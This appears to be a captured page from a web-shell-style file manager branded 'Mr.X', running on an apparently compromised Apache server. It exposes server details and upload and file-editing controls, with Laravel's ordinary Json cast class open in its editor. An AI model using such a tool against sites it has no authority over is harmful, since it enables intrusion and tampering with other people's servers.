🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:Json.php
<?php namespace Illuminate\Database\Eloquent\Casts; class Json { /** * The custom JSON encoder. * * @var callable|null */ protected static $encoder; /** * The custom JSON decode. * * @var callable|null */ protected static $decoder; /** * Encode the given value. */ public static function encode(mixed $value, int $flags = 0): mixed { return isset(static::$encoder) ? (static::$encoder)($value, $flags) : json_encode($value, $flags); } /** * Decode the given value. */ public static function decode(mixed $value, ?bool $associative = true): mixed { return isset(static::$decoder) ? (static::$decoder)($value, $associative) : json_decode($value, $associative); } /** * Encode all values using the given callable. */ public static function encodeUsing(?callable $encoder): void { static::$encoder = $encoder; } /** * Decode all values using the given callable. */ public static function decodeUsing(?callable $decoder): void { static::$decoder = $decoder; } }
Save Changes
Cancel
Create New File
Create New Folder